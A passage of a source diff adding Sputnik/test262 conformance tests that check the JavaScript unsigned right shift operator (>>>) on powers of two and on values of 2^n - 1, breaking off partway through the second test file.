+if (8192 >>> 26 !== 0) {
+ $ERROR('#846: 8192 >>> 26 === 0. Actual: ' + (8192 >>> 26));
+}
+
+
+if (16384 >>> 26 !== 0) {
+ $ERROR('#847: 16384 >>> 26 === 0. Actual: ' + (16384 >>> 26));
+}
+
+
+if (32768 >>> 26 !== 0) {
+ $ERROR('#848: 32768 >>> 26 === 0. Actual: ' + (32768 >>> 26));
+}
+
+
+if (65536 >>> 26 !== 0) {
+ $ERROR('#849: 65536 >>> 26 === 0. Actual: ' + (65536 >>> 26));
+}
+
+
+if (131072 >>> 26 !== 0) {
+ $ERROR('#850: 131072 >>> 26 === 0. Actual: ' + (131072 >>> 26));
+}
+
+
+if (262144 >>> 26 !== 0) {
+ $ERROR('#851: 262144 >>> 26 === 0. Actual: ' + (262144 >>> 26));
+}
+
+
+if (524288 >>> 26 !== 0) {
+ $ERROR('#852: 524288 >>> 26 === 0. Actual: ' + (524288 >>> 26));
+}
+
+
+if (1048576 >>> 26 !== 0) {
+ $ERROR('#853: 1048576 >>> 26 === 0. Actual: ' + (1048576 >>> 26));
+}
+
+
+if (2097152 >>> 26 !== 0) {
+ $ERROR('#854: 2097152 >>> 26 === 0. Actual: ' + (2097152 >>> 26));
+}
+
+
+if (4194304 >>> 26 !== 0) {
+ $ERROR('#855: 4194304 >>> 26 === 0. Actual: ' + (4194304 >>> 26));
+}
+
+
+if (8388608 >>> 26 !== 0) {
+ $ERROR('#856: 8388608 >>> 26 === 0. Actual: ' + (8388608 >>> 26));
+}
+
+
+if (16777216 >>> 26 !== 0) {
+ $ERROR('#857: 16777216 >>> 26 === 0. Actual: ' + (16777216 >>> 26));
+}
+
+
+if (33554432 >>> 26 !== 0) {
+ $ERROR('#858: 33554432 >>> 26 === 0. Actual: ' + (33554432 >>> 26));
+}
+
+
+if (67108864 >>> 26 !== 1) {
+ $ERROR('#859: 67108864 >>> 26 === 1. Actual: ' + (67108864 >>> 26));
+}
+
+
+if (134217728 >>> 26 !== 2) {
+ $ERROR('#860: 134217728 >>> 26 === 2. Actual: ' + (134217728 >>> 26));
+}
+
+
+if (268435456 >>> 26 !== 4) {
+ $ERROR('#861: 268435456 >>> 26 === 4. Actual: ' + (268435456 >>> 26));
+}
+
+
+if (536870912 >>> 26 !== 8) {
+ $ERROR('#862: 536870912 >>> 26 === 8. Actual: ' + (536870912 >>> 26));
+}
+
+
+if (1073741824 >>> 26 !== 16) {
+ $ERROR('#863: 1073741824 >>> 26 === 16. Actual: ' + (1073741824 >>> 26));
+}
+
+
+if (2147483648 >>> 26 !== 32) {
+ $ERROR('#864: 2147483648 >>> 26 === 32. Actual: ' + (2147483648 >>> 26));
+}
+
+
+if (1 >>> 27 !== 0) {
+ $ERROR('#865: 1 >>> 27 === 0. Actual: ' + (1 >>> 27));
+}
+
+
+if (2 >>> 27 !== 0) {
+ $ERROR('#866: 2 >>> 27 === 0. Actual: ' + (2 >>> 27));
+}
+
+
+if (4 >>> 27 !== 0) {
+ $ERROR('#867: 4 >>> 27 === 0. Actual: ' + (4 >>> 27));
+}
+
+
+if (8 >>> 27 !== 0) {
+ $ERROR('#868: 8 >>> 27 === 0. Actual: ' + (8 >>> 27));
+}
+
+
+if (16 >>> 27 !== 0) {
+ $ERROR('#869: 16 >>> 27 === 0. Actual: ' + (16 >>> 27));
+}
+
+
+if (32 >>> 27 !== 0) {
+ $ERROR('#870: 32 >>> 27 === 0. Actual: ' + (32 >>> 27));
+}
+
+
+if (64 >>> 27 !== 0) {
+ $ERROR('#871: 64 >>> 27 === 0. Actual: ' + (64 >>> 27));
+}
+
+
+if (128 >>> 27 !== 0) {
+ $ERROR('#872: 128 >>> 27 === 0. Actual: ' + (128 >>> 27));
+}
+
+
+if (256 >>> 27 !== 0) {
+ $ERROR('#873: 256 >>> 27 === 0. Actual: ' + (256 >>> 27));
+}
+
+
+if (512 >>> 27 !== 0) {
+ $ERROR('#874: 512 >>> 27 === 0. Actual: ' + (512 >>> 27));
+}
+
+
+if (1024 >>> 27 !== 0) {
+ $ERROR('#875: 1024 >>> 27 === 0. Actual: ' + (1024 >>> 27));
+}
+
+
+if (2048 >>> 27 !== 0) {
+ $ERROR('#876: 2048 >>> 27 === 0. Actual: ' + (2048 >>> 27));
+}
+
+
+if (4096 >>> 27 !== 0) {
+ $ERROR('#877: 4096 >>> 27 === 0. Actual: ' + (4096 >>> 27));
+}
+
+
+if (8192 >>> 27 !== 0) {
+ $ERROR('#878: 8192 >>> 27 === 0. Actual: ' + (8192 >>> 27));
+}
+
+
+if (16384 >>> 27 !== 0) {
+ $ERROR('#879: 16384 >>> 27 === 0. Actual: ' + (16384 >>> 27));
+}
+
+
+if (32768 >>> 27 !== 0) {
+ $ERROR('#880: 32768 >>> 27 === 0. Actual: ' + (32768 >>> 27));
+}
+
+
+if (65536 >>> 27 !== 0) {
+ $ERROR('#881: 65536 >>> 27 === 0. Actual: ' + (65536 >>> 27));
+}
+
+
+if (131072 >>> 27 !== 0) {
+ $ERROR('#882: 131072 >>> 27 === 0. Actual: ' + (131072 >>> 27));
+}
+
+
+if (262144 >>> 27 !== 0) {
+ $ERROR('#883: 262144 >>> 27 === 0. Actual: ' + (262144 >>> 27));
+}
+
+
+if (524288 >>> 27 !== 0) {
+ $ERROR('#884: 524288 >>> 27 === 0. Actual: ' + (524288 >>> 27));
+}
+
+
+if (1048576 >>> 27 !== 0) {
+ $ERROR('#885: 1048576 >>> 27 === 0. Actual: ' + (1048576 >>> 27));
+}
+
+
+if (2097152 >>> 27 !== 0) {
+ $ERROR('#886: 2097152 >>> 27 === 0. Actual: ' + (2097152 >>> 27));
+}
+
+
+if (4194304 >>> 27 !== 0) {
+ $ERROR('#887: 4194304 >>> 27 === 0. Actual: ' + (4194304 >>> 27));
+}
+
+
+if (8388608 >>> 27 !== 0) {
+ $ERROR('#888: 8388608 >>> 27 === 0. Actual: ' + (8388608 >>> 27));
+}
+
+
+if (16777216 >>> 27 !== 0) {
+ $ERROR('#889: 16777216 >>> 27 === 0. Actual: ' + (16777216 >>> 27));
+}
+
+
+if (33554432 >>> 27 !== 0) {
+ $ERROR('#890: 33554432 >>> 27 === 0. Actual: ' + (33554432 >>> 27));
+}
+
+
+if (67108864 >>> 27 !== 0) {
+ $ERROR('#891: 67108864 >>> 27 === 0. Actual: ' + (67108864 >>> 27));
+}
+
+
+if (134217728 >>> 27 !== 1) {
+ $ERROR('#892: 134217728 >>> 27 === 1. Actual: ' + (134217728 >>> 27));
+}
+
+
+if (268435456 >>> 27 !== 2) {
+ $ERROR('#893: 268435456 >>> 27 === 2. Actual: ' + (268435456 >>> 27));
+}
+
+
+if (536870912 >>> 27 !== 4) {
+ $ERROR('#894: 536870912 >>> 27 === 4. Actual: ' + (536870912 >>> 27));
+}
+
+
+if (1073741824 >>> 27 !== 8) {
+ $ERROR('#895: 1073741824 >>> 27 === 8. Actual: ' + (1073741824 >>> 27));
+}
+
+
+if (2147483648 >>> 27 !== 16) {
+ $ERROR('#896: 2147483648 >>> 27 === 16. Actual: ' + (2147483648 >>> 27));
+}
+
+
+if (1 >>> 28 !== 0) {
+ $ERROR('#897: 1 >>> 28 === 0. Actual: ' + (1 >>> 28));
+}
+
+
+if (2 >>> 28 !== 0) {
+ $ERROR('#898: 2 >>> 28 === 0. Actual: ' + (2 >>> 28));
+}
+
+
+if (4 >>> 28 !== 0) {
+ $ERROR('#899: 4 >>> 28 === 0. Actual: ' + (4 >>> 28));
+}
+
+
+if (8 >>> 28 !== 0) {
+ $ERROR('#900: 8 >>> 28 === 0. Actual: ' + (8 >>> 28));
+}
+
+
+if (16 >>> 28 !== 0) {
+ $ERROR('#901: 16 >>> 28 === 0. Actual: ' + (16 >>> 28));
+}
+
+
+if (32 >>> 28 !== 0) {
+ $ERROR('#902: 32 >>> 28 === 0. Actual: ' + (32 >>> 28));
+}
+
+
+if (64 >>> 28 !== 0) {
+ $ERROR('#903: 64 >>> 28 === 0. Actual: ' + (64 >>> 28));
+}
+
+
+if (128 >>> 28 !== 0) {
+ $ERROR('#904: 128 >>> 28 === 0. Actual: ' + (128 >>> 28));
+}
+
+
+if (256 >>> 28 !== 0) {
+ $ERROR('#905: 256 >>> 28 === 0. Actual: ' + (256 >>> 28));
+}
+
+
+if (512 >>> 28 !== 0) {
+ $ERROR('#906: 512 >>> 28 === 0. Actual: ' + (512 >>> 28));
+}
+
+
+if (1024 >>> 28 !== 0) {
+ $ERROR('#907: 1024 >>> 28 === 0. Actual: ' + (1024 >>> 28));
+}
+
+
+if (2048 >>> 28 !== 0) {
+ $ERROR('#908: 2048 >>> 28 === 0. Actual: ' + (2048 >>> 28));
+}
+
+
+if (4096 >>> 28 !== 0) {
+ $ERROR('#909: 4096 >>> 28 === 0. Actual: ' + (4096 >>> 28));
+}
+
+
+if (8192 >>> 28 !== 0) {
+ $ERROR('#910: 8192 >>> 28 === 0. Actual: ' + (8192 >>> 28));
+}
+
+
+if (16384 >>> 28 !== 0) {
+ $ERROR('#911: 16384 >>> 28 === 0. Actual: ' + (16384 >>> 28));
+}
+
+
+if (32768 >>> 28 !== 0) {
+ $ERROR('#912: 32768 >>> 28 === 0. Actual: ' + (32768 >>> 28));
+}
+
+
+if (65536 >>> 28 !== 0) {
+ $ERROR('#913: 65536 >>> 28 === 0. Actual: ' + (65536 >>> 28));
+}
+
+
+if (131072 >>> 28 !== 0) {
+ $ERROR('#914: 131072 >>> 28 === 0. Actual: ' + (131072 >>> 28));
+}
+
+
+if (262144 >>> 28 !== 0) {
+ $ERROR('#915: 262144 >>> 28 === 0. Actual: ' + (262144 >>> 28));
+}
+
+
+if (524288 >>> 28 !== 0) {
+ $ERROR('#916: 524288 >>> 28 === 0. Actual: ' + (524288 >>> 28));
+}
+
+
+if (1048576 >>> 28 !== 0) {
+ $ERROR('#917: 1048576 >>> 28 === 0. Actual: ' + (1048576 >>> 28));
+}
+
+
+if (2097152 >>> 28 !== 0) {
+ $ERROR('#918: 2097152 >>> 28 === 0. Actual: ' + (2097152 >>> 28));
+}
+
+
+if (4194304 >>> 28 !== 0) {
+ $ERROR('#919: 4194304 >>> 28 === 0. Actual: ' + (4194304 >>> 28));
+}
+
+
+if (8388608 >>> 28 !== 0) {
+ $ERROR('#920: 8388608 >>> 28 === 0. Actual: ' + (8388608 >>> 28));
+}
+
+
+if (16777216 >>> 28 !== 0) {
+ $ERROR('#921: 16777216 >>> 28 === 0. Actual: ' + (16777216 >>> 28));
+}
+
+
+if (33554432 >>> 28 !== 0) {
+ $ERROR('#922: 33554432 >>> 28 === 0. Actual: ' + (33554432 >>> 28));
+}
+
+
+if (67108864 >>> 28 !== 0) {
+ $ERROR('#923: 67108864 >>> 28 === 0. Actual: ' + (67108864 >>> 28));
+}
+
+
+if (134217728 >>> 28 !== 0) {
+ $ERROR('#924: 134217728 >>> 28 === 0. Actual: ' + (134217728 >>> 28));
+}
+
+
+if (268435456 >>> 28 !== 1) {
+ $ERROR('#925: 268435456 >>> 28 === 1. Actual: ' + (268435456 >>> 28));
+}
+
+
+if (536870912 >>> 28 !== 2) {
+ $ERROR('#926: 536870912 >>> 28 === 2. Actual: ' + (536870912 >>> 28));
+}
+
+
+if (1073741824 >>> 28 !== 4) {
+ $ERROR('#927: 1073741824 >>> 28 === 4. Actual: ' + (1073741824 >>> 28));
+}
+
+
+if (2147483648 >>> 28 !== 8) {
+ $ERROR('#928: 2147483648 >>> 28 === 8. Actual: ' + (2147483648 >>> 28));
+}
+
+
+if (1 >>> 29 !== 0) {
+ $ERROR('#929: 1 >>> 29 === 0. Actual: ' + (1 >>> 29));
+}
+
+
+if (2 >>> 29 !== 0) {
+ $ERROR('#930: 2 >>> 29 === 0. Actual: ' + (2 >>> 29));
+}
+
+
+if (4 >>> 29 !== 0) {
+ $ERROR('#931: 4 >>> 29 === 0. Actual: ' + (4 >>> 29));
+}
+
+
+if (8 >>> 29 !== 0) {
+ $ERROR('#932: 8 >>> 29 === 0. Actual: ' + (8 >>> 29));
+}
+
+
+if (16 >>> 29 !== 0) {
+ $ERROR('#933: 16 >>> 29 === 0. Actual: ' + (16 >>> 29));
+}
+
+
+if (32 >>> 29 !== 0) {
+ $ERROR('#934: 32 >>> 29 === 0. Actual: ' + (32 >>> 29));
+}
+
+
+if (64 >>> 29 !== 0) {
+ $ERROR('#935: 64 >>> 29 === 0. Actual: ' + (64 >>> 29));
+}
+
+
+if (128 >>> 29 !== 0) {
+ $ERROR('#936: 128 >>> 29 === 0. Actual: ' + (128 >>> 29));
+}
+
+
+if (256 >>> 29 !== 0) {
+ $ERROR('#937: 256 >>> 29 === 0. Actual: ' + (256 >>> 29));
+}
+
+
+if (512 >>> 29 !== 0) {
+ $ERROR('#938: 512 >>> 29 === 0. Actual: ' + (512 >>> 29));
+}
+
+
+if (1024 >>> 29 !== 0) {
+ $ERROR('#939: 1024 >>> 29 === 0. Actual: ' + (1024 >>> 29));
+}
+
+
+if (2048 >>> 29 !== 0) {
+ $ERROR('#940: 2048 >>> 29 === 0. Actual: ' + (2048 >>> 29));
+}
+
+
+if (4096 >>> 29 !== 0) {
+ $ERROR('#941: 4096 >>> 29 === 0. Actual: ' + (4096 >>> 29));
+}
+
+
+if (8192 >>> 29 !== 0) {
+ $ERROR('#942: 8192 >>> 29 === 0. Actual: ' + (8192 >>> 29));
+}
+
+
+if (16384 >>> 29 !== 0) {
+ $ERROR('#943: 16384 >>> 29 === 0. Actual: ' + (16384 >>> 29));
+}
+
+
+if (32768 >>> 29 !== 0) {
+ $ERROR('#944: 32768 >>> 29 === 0. Actual: ' + (32768 >>> 29));
+}
+
+
+if (65536 >>> 29 !== 0) {
+ $ERROR('#945: 65536 >>> 29 === 0. Actual: ' + (65536 >>> 29));
+}
+
+
+if (131072 >>> 29 !== 0) {
+ $ERROR('#946: 131072 >>> 29 === 0. Actual: ' + (131072 >>> 29));
+}
+
+
+if (262144 >>> 29 !== 0) {
+ $ERROR('#947: 262144 >>> 29 === 0. Actual: ' + (262144 >>> 29));
+}
+
+
+if (524288 >>> 29 !== 0) {
+ $ERROR('#948: 524288 >>> 29 === 0. Actual: ' + (524288 >>> 29));
+}
+
+
+if (1048576 >>> 29 !== 0) {
+ $ERROR('#949: 1048576 >>> 29 === 0. Actual: ' + (1048576 >>> 29));
+}
+
+
+if (2097152 >>> 29 !== 0) {
+ $ERROR('#950: 2097152 >>> 29 === 0. Actual: ' + (2097152 >>> 29));
+}
+
+
+if (4194304 >>> 29 !== 0) {
+ $ERROR('#951: 4194304 >>> 29 === 0. Actual: ' + (4194304 >>> 29));
+}
+
+
+if (8388608 >>> 29 !== 0) {
+ $ERROR('#952: 8388608 >>> 29 === 0. Actual: ' + (8388608 >>> 29));
+}
+
+
+if (16777216 >>> 29 !== 0) {
+ $ERROR('#953: 16777216 >>> 29 === 0. Actual: ' + (16777216 >>> 29));
+}
+
+
+if (33554432 >>> 29 !== 0) {
+ $ERROR('#954: 33554432 >>> 29 === 0. Actual: ' + (33554432 >>> 29));
+}
+
+
+if (67108864 >>> 29 !== 0) {
+ $ERROR('#955: 67108864 >>> 29 === 0. Actual: ' + (67108864 >>> 29));
+}
+
+
+if (134217728 >>> 29 !== 0) {
+ $ERROR('#956: 134217728 >>> 29 === 0. Actual: ' + (134217728 >>> 29));
+}
+
+
+if (268435456 >>> 29 !== 0) {
+ $ERROR('#957: 268435456 >>> 29 === 0. Actual: ' + (268435456 >>> 29));
+}
+
+
+if (536870912 >>> 29 !== 1) {
+ $ERROR('#958: 536870912 >>> 29 === 1. Actual: ' + (536870912 >>> 29));
+}
+
+
+if (1073741824 >>> 29 !== 2) {
+ $ERROR('#959: 1073741824 >>> 29 === 2. Actual: ' + (1073741824 >>> 29));
+}
+
+
+if (2147483648 >>> 29 !== 4) {
+ $ERROR('#960: 2147483648 >>> 29 === 4. Actual: ' + (2147483648 >>> 29));
+}
+
+
+if (1 >>> 30 !== 0) {
+ $ERROR('#961: 1 >>> 30 === 0. Actual: ' + (1 >>> 30));
+}
+
+
+if (2 >>> 30 !== 0) {
+ $ERROR('#962: 2 >>> 30 === 0. Actual: ' + (2 >>> 30));
+}
+
+
+if (4 >>> 30 !== 0) {
+ $ERROR('#963: 4 >>> 30 === 0. Actual: ' + (4 >>> 30));
+}
+
+
+if (8 >>> 30 !== 0) {
+ $ERROR('#964: 8 >>> 30 === 0. Actual: ' + (8 >>> 30));
+}
+
+
+if (16 >>> 30 !== 0) {
+ $ERROR('#965: 16 >>> 30 === 0. Actual: ' + (16 >>> 30));
+}
+
+
+if (32 >>> 30 !== 0) {
+ $ERROR('#966: 32 >>> 30 === 0. Actual: ' + (32 >>> 30));
+}
+
+
+if (64 >>> 30 !== 0) {
+ $ERROR('#967: 64 >>> 30 === 0. Actual: ' + (64 >>> 30));
+}
+
+
+if (128 >>> 30 !== 0) {
+ $ERROR('#968: 128 >>> 30 === 0. Actual: ' + (128 >>> 30));
+}
+
+
+if (256 >>> 30 !== 0) {
+ $ERROR('#969: 256 >>> 30 === 0. Actual: ' + (256 >>> 30));
+}
+
+
+if (512 >>> 30 !== 0) {
+ $ERROR('#970: 512 >>> 30 === 0. Actual: ' + (512 >>> 30));
+}
+
+
+if (1024 >>> 30 !== 0) {
+ $ERROR('#971: 1024 >>> 30 === 0. Actual: ' + (1024 >>> 30));
+}
+
+
+if (2048 >>> 30 !== 0) {
+ $ERROR('#972: 2048 >>> 30 === 0. Actual: ' + (2048 >>> 30));
+}
+
+
+if (4096 >>> 30 !== 0) {
+ $ERROR('#973: 4096 >>> 30 === 0. Actual: ' + (4096 >>> 30));
+}
+
+
+if (8192 >>> 30 !== 0) {
+ $ERROR('#974: 8192 >>> 30 === 0. Actual: ' + (8192 >>> 30));
+}
+
+
+if (16384 >>> 30 !== 0) {
+ $ERROR('#975: 16384 >>> 30 === 0. Actual: ' + (16384 >>> 30));
+}
+
+
+if (32768 >>> 30 !== 0) {
+ $ERROR('#976: 32768 >>> 30 === 0. Actual: ' + (32768 >>> 30));
+}
+
+
+if (65536 >>> 30 !== 0) {
+ $ERROR('#977: 65536 >>> 30 === 0. Actual: ' + (65536 >>> 30));
+}
+
+
+if (131072 >>> 30 !== 0) {
+ $ERROR('#978: 131072 >>> 30 === 0. Actual: ' + (131072 >>> 30));
+}
+
+
+if (262144 >>> 30 !== 0) {
+ $ERROR('#979: 262144 >>> 30 === 0. Actual: ' + (262144 >>> 30));
+}
+
+
+if (524288 >>> 30 !== 0) {
+ $ERROR('#980: 524288 >>> 30 === 0. Actual: ' + (524288 >>> 30));
+}
+
+
+if (1048576 >>> 30 !== 0) {
+ $ERROR('#981: 1048576 >>> 30 === 0. Actual: ' + (1048576 >>> 30));
+}
+
+
+if (2097152 >>> 30 !== 0) {
+ $ERROR('#982: 2097152 >>> 30 === 0. Actual: ' + (2097152 >>> 30));
+}
+
+
+if (4194304 >>> 30 !== 0) {
+ $ERROR('#983: 4194304 >>> 30 === 0. Actual: ' + (4194304 >>> 30));
+}
+
+
+if (8388608 >>> 30 !== 0) {
+ $ERROR('#984: 8388608 >>> 30 === 0. Actual: ' + (8388608 >>> 30));
+}
+
+
+if (16777216 >>> 30 !== 0) {
+ $ERROR('#985: 16777216 >>> 30 === 0. Actual: ' + (16777216 >>> 30));
+}
+
+
+if (33554432 >>> 30 !== 0) {
+ $ERROR('#986: 33554432 >>> 30 === 0. Actual: ' + (33554432 >>> 30));
+}
+
+
+if (67108864 >>> 30 !== 0) {
+ $ERROR('#987: 67108864 >>> 30 === 0. Actual: ' + (67108864 >>> 30));
+}
+
+
+if (134217728 >>> 30 !== 0) {
+ $ERROR('#988: 134217728 >>> 30 === 0. Actual: ' + (134217728 >>> 30));
+}
+
+
+if (268435456 >>> 30 !== 0) {
+ $ERROR('#989: 268435456 >>> 30 === 0. Actual: ' + (268435456 >>> 30));
+}
+
+
+if (536870912 >>> 30 !== 0) {
+ $ERROR('#990: 536870912 >>> 30 === 0. Actual: ' + (536870912 >>> 30));
+}
+
+
+if (1073741824 >>> 30 !== 1) {
+ $ERROR('#991: 1073741824 >>> 30 === 1. Actual: ' + (1073741824 >>> 30));
+}
+
+
+if (2147483648 >>> 30 !== 2) {
+ $ERROR('#992: 2147483648 >>> 30 === 2. Actual: ' + (2147483648 >>> 30));
+}
+
+
+if (1 >>> 31 !== 0) {
+ $ERROR('#993: 1 >>> 31 === 0. Actual: ' + (1 >>> 31));
+}
+
+
+if (2 >>> 31 !== 0) {
+ $ERROR('#994: 2 >>> 31 === 0. Actual: ' + (2 >>> 31));
+}
+
+
+if (4 >>> 31 !== 0) {
+ $ERROR('#995: 4 >>> 31 === 0. Actual: ' + (4 >>> 31));
+}
+
+
+if (8 >>> 31 !== 0) {
+ $ERROR('#996: 8 >>> 31 === 0. Actual: ' + (8 >>> 31));
+}
+
+
+if (16 >>> 31 !== 0) {
+ $ERROR('#997: 16 >>> 31 === 0. Actual: ' + (16 >>> 31));
+}
+
+
+if (32 >>> 31 !== 0) {
+ $ERROR('#998: 32 >>> 31 === 0. Actual: ' + (32 >>> 31));
+}
+
+
+if (64 >>> 31 !== 0) {
+ $ERROR('#999: 64 >>> 31 === 0. Actual: ' + (64 >>> 31));
+}
+
+
+if (128 >>> 31 !== 0) {
+ $ERROR('#1000: 128 >>> 31 === 0. Actual: ' + (128 >>> 31));
+}
+
+
+if (256 >>> 31 !== 0) {
+ $ERROR('#1001: 256 >>> 31 === 0. Actual: ' + (256 >>> 31));
+}
+
+
+if (512 >>> 31 !== 0) {
+ $ERROR('#1002: 512 >>> 31 === 0. Actual: ' + (512 >>> 31));
+}
+
+
+if (1024 >>> 31 !== 0) {
+ $ERROR('#1003: 1024 >>> 31 === 0. Actual: ' + (1024 >>> 31));
+}
+
+
+if (2048 >>> 31 !== 0) {
+ $ERROR('#1004: 2048 >>> 31 === 0. Actual: ' + (2048 >>> 31));
+}
+
+
+if (4096 >>> 31 !== 0) {
+ $ERROR('#1005: 4096 >>> 31 === 0. Actual: ' + (4096 >>> 31));
+}
+
+
+if (8192 >>> 31 !== 0) {
+ $ERROR('#1006: 8192 >>> 31 === 0. Actual: ' + (8192 >>> 31));
+}
+
+
+if (16384 >>> 31 !== 0) {
+ $ERROR('#1007: 16384 >>> 31 === 0. Actual: ' + (16384 >>> 31));
+}
+
+
+if (32768 >>> 31 !== 0) {
+ $ERROR('#1008: 32768 >>> 31 === 0. Actual: ' + (32768 >>> 31));
+}
+
+
+if (65536 >>> 31 !== 0) {
+ $ERROR('#1009: 65536 >>> 31 === 0. Actual: ' + (65536 >>> 31));
+}
+
+
+if (131072 >>> 31 !== 0) {
+ $ERROR('#1010: 131072 >>> 31 === 0. Actual: ' + (131072 >>> 31));
+}
+
+
+if (262144 >>> 31 !== 0) {
+ $ERROR('#1011: 262144 >>> 31 === 0. Actual: ' + (262144 >>> 31));
+}
+
+
+if (524288 >>> 31 !== 0) {
+ $ERROR('#1012: 524288 >>> 31 === 0. Actual: ' + (524288 >>> 31));
+}
+
+
+if (1048576 >>> 31 !== 0) {
+ $ERROR('#1013: 1048576 >>> 31 === 0. Actual: ' + (1048576 >>> 31));
+}
+
+
+if (2097152 >>> 31 !== 0) {
+ $ERROR('#1014: 2097152 >>> 31 === 0. Actual: ' + (2097152 >>> 31));
+}
+
+
+if (4194304 >>> 31 !== 0) {
+ $ERROR('#1015: 4194304 >>> 31 === 0. Actual: ' + (4194304 >>> 31));
+}
+
+
+if (8388608 >>> 31 !== 0) {
+ $ERROR('#1016: 8388608 >>> 31 === 0. Actual: ' + (8388608 >>> 31));
+}
+
+
+if (16777216 >>> 31 !== 0) {
+ $ERROR('#1017: 16777216 >>> 31 === 0. Actual: ' + (16777216 >>> 31));
+}
+
+
+if (33554432 >>> 31 !== 0) {
+ $ERROR('#1018: 33554432 >>> 31 === 0. Actual: ' + (33554432 >>> 31));
+}
+
+
+if (67108864 >>> 31 !== 0) {
+ $ERROR('#1019: 67108864 >>> 31 === 0. Actual: ' + (67108864 >>> 31));
+}
+
+
+if (134217728 >>> 31 !== 0) {
+ $ERROR('#1020: 134217728 >>> 31 === 0. Actual: ' + (134217728 >>> 31));
+}
+
+
+if (268435456 >>> 31 !== 0) {
+ $ERROR('#1021: 268435456 >>> 31 === 0. Actual: ' + (268435456 >>> 31));
+}
+
+
+if (536870912 >>> 31 !== 0) {
+ $ERROR('#1022: 536870912 >>> 31 === 0. Actual: ' + (536870912 >>> 31));
+}
+
+
+if (1073741824 >>> 31 !== 0) {
+ $ERROR('#1023: 1073741824 >>> 31 === 0. Actual: ' + (1073741824 >>> 31));
+}
+
+
+if (2147483648 >>> 31 !== 1) {
+ $ERROR('#1024: 2147483648 >>> 31 === 1. Actual: ' + (2147483648 >>> 31));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A4_T3.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A4_T3.js
new file mode 100644
index 000000000..05cf9e7a2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A4_T3.js
@@ -0,0 +1,2651 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check operator x >>> y in distinct points
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A4_T3.js
+ * @description ShiftExpression = 2^n - 1, n = 0...15
+ */
+
+//CHECK
+
+if (0 >>> 0 !== 0) {
+ $ERROR('#1: 0 >>> 0 === 0. Actual: ' + (0 >>> 0));
+}
+
+
+if (1 >>> 0 !== 1) {
+ $ERROR('#2: 1 >>> 0 === 1. Actual: ' + (1 >>> 0));
+}
+
+
+if (3 >>> 0 !== 3) {
+ $ERROR('#3: 3 >>> 0 === 3. Actual: ' + (3 >>> 0));
+}
+
+
+if (7 >>> 0 !== 7) {
+ $ERROR('#4: 7 >>> 0 === 7. Actual: ' + (7 >>> 0));
+}
+
+
+if (15 >>> 0 !== 15) {
+ $ERROR('#5: 15 >>> 0 === 15. Actual: ' + (15 >>> 0));
+}
+
+
+if (31 >>> 0 !== 31) {
+ $ERROR('#6: 31 >>> 0 === 31. Actual: ' + (31 >>> 0));
+}
+
+
+if (63 >>> 0 !== 63) {
+ $ERROR('#7: 63 >>> 0 === 63. Actual: ' + (63 >>> 0));
+}
+
+
+if (127 >>> 0 !== 127) {
+ $ERROR('#8: 127 >>> 0 === 127. Actual: ' + (127 >>> 0));
+}
+
+
+if (255 >>> 0 !== 255) {
+ $ERROR('#9: 255 >>> 0 === 255. Actual: ' + (255 >>> 0));
+}
+
+
+if (511 >>> 0 !== 511) {
+ $ERROR('#10: 511 >>> 0 === 511. Actual: ' + (511 >>> 0));
+}
+
+
+if (1023 >>> 0 !== 1023) {
+ $ERROR('#11: 1023 >>> 0 === 1023. Actual: ' + (1023 >>> 0));
+}
+
+
+if (2047 >>> 0 !== 2047) {
+ $ERROR('#12: 2047 >>> 0 === 2047. Actual: ' + (2047 >>> 0));
+}
+
+
+if (4095 >>> 0 !== 4095) {
+ $ERROR('#13: 4095 >>> 0 === 4095. Actual: ' + (4095 >>> 0));
+}
+
+
+if (8191 >>> 0 !== 8191) {
+ $ERROR('#14: 8191 >>> 0 === 8191. Actual: ' + (8191 >>> 0));
+}
+
+
+if (16383 >>> 0 !== 16383) {
+ $ERROR('#15: 16383 >>> 0 === 16383. Actual: ' + (16383 >>> 0));
+}
+
+
+if (32767 >>> 0 !== 32767) {
+ $ERROR('#16: 32767 >>> 0 === 32767. Actual: ' + (32767 >>> 0));
+}
+
+
+if (65535 >>> 0 !== 65535) {
+ $ERROR('#17: 65535 >>> 0 === 65535. Actual: ' + (65535 >>> 0));
+}
+
+
+if (131071 >>> 0 !== 131071) {
+ $ERROR('#18: 131071 >>> 0 === 131071. Actual: ' + (131071 >>> 0));
+}
+
+
+if (262143 >>> 0 !== 262143) {
+ $ERROR('#19: 262143 >>> 0 === 262143. Actual: ' + (262143 >>> 0));
+}
+
+
+if (524287 >>> 0 !== 524287) {
+ $ERROR('#20: 524287 >>> 0 === 524287. Actual: ' + (524287 >>> 0));
+}
+
+
+if (1048575 >>> 0 !== 1048575) {
+ $ERROR('#21: 1048575 >>> 0 === 1048575. Actual: ' + (1048575 >>> 0));
+}
+
+
+if (2097151 >>> 0 !== 2097151) {
+ $ERROR('#22: 2097151 >>> 0 === 2097151. Actual: ' + (2097151 >>> 0));
+}
+
+
+if (4194303 >>> 0 !== 4194303) {
+ $ERROR('#23: 4194303 >>> 0 === 4194303. Actual: ' + (4194303 >>> 0));
+}
+
+
+if (8388607 >>> 0 !== 8388607) {
+ $ERROR('#24: 8388607 >>> 0 === 8388607. Actual: ' + (8388607 >>> 0));
+}
+
+
+if (16777215 >>> 0 !== 16777215) {
+ $ERROR('#25: 16777215 >>> 0 === 16777215. Actual: ' + (16777215 >>> 0));
+}
+
+
+if (33554431 >>> 0 !== 33554431) {
+ $ERROR('#26: 33554431 >>> 0 === 33554431. Actual: ' + (33554431 >>> 0));
+}
+
+
+if (67108863 >>> 0 !== 67108863) {
+ $ERROR('#27: 67108863 >>> 0 === 67108863. Actual: ' + (67108863 >>> 0));
+}
+
+
+if (134217727 >>> 0 !== 134217727) {
+ $ERROR('#28: 134217727 >>> 0 === 134217727. Actual: ' + (134217727 >>> 0));
+}
+
+
+if (268435455 >>> 0 !== 268435455) {
+ $ERROR('#29: 268435455 >>> 0 === 268435455. Actual: ' + (268435455 >>> 0));
+}
+
+
+if (536870911 >>> 0 !== 536870911) {
+ $ERROR('#30: 536870911 >>> 0 === 536870911. Actual: ' + (536870911 >>> 0));
+}
+
+
+if (1073741823 >>> 0 !== 1073741823) {
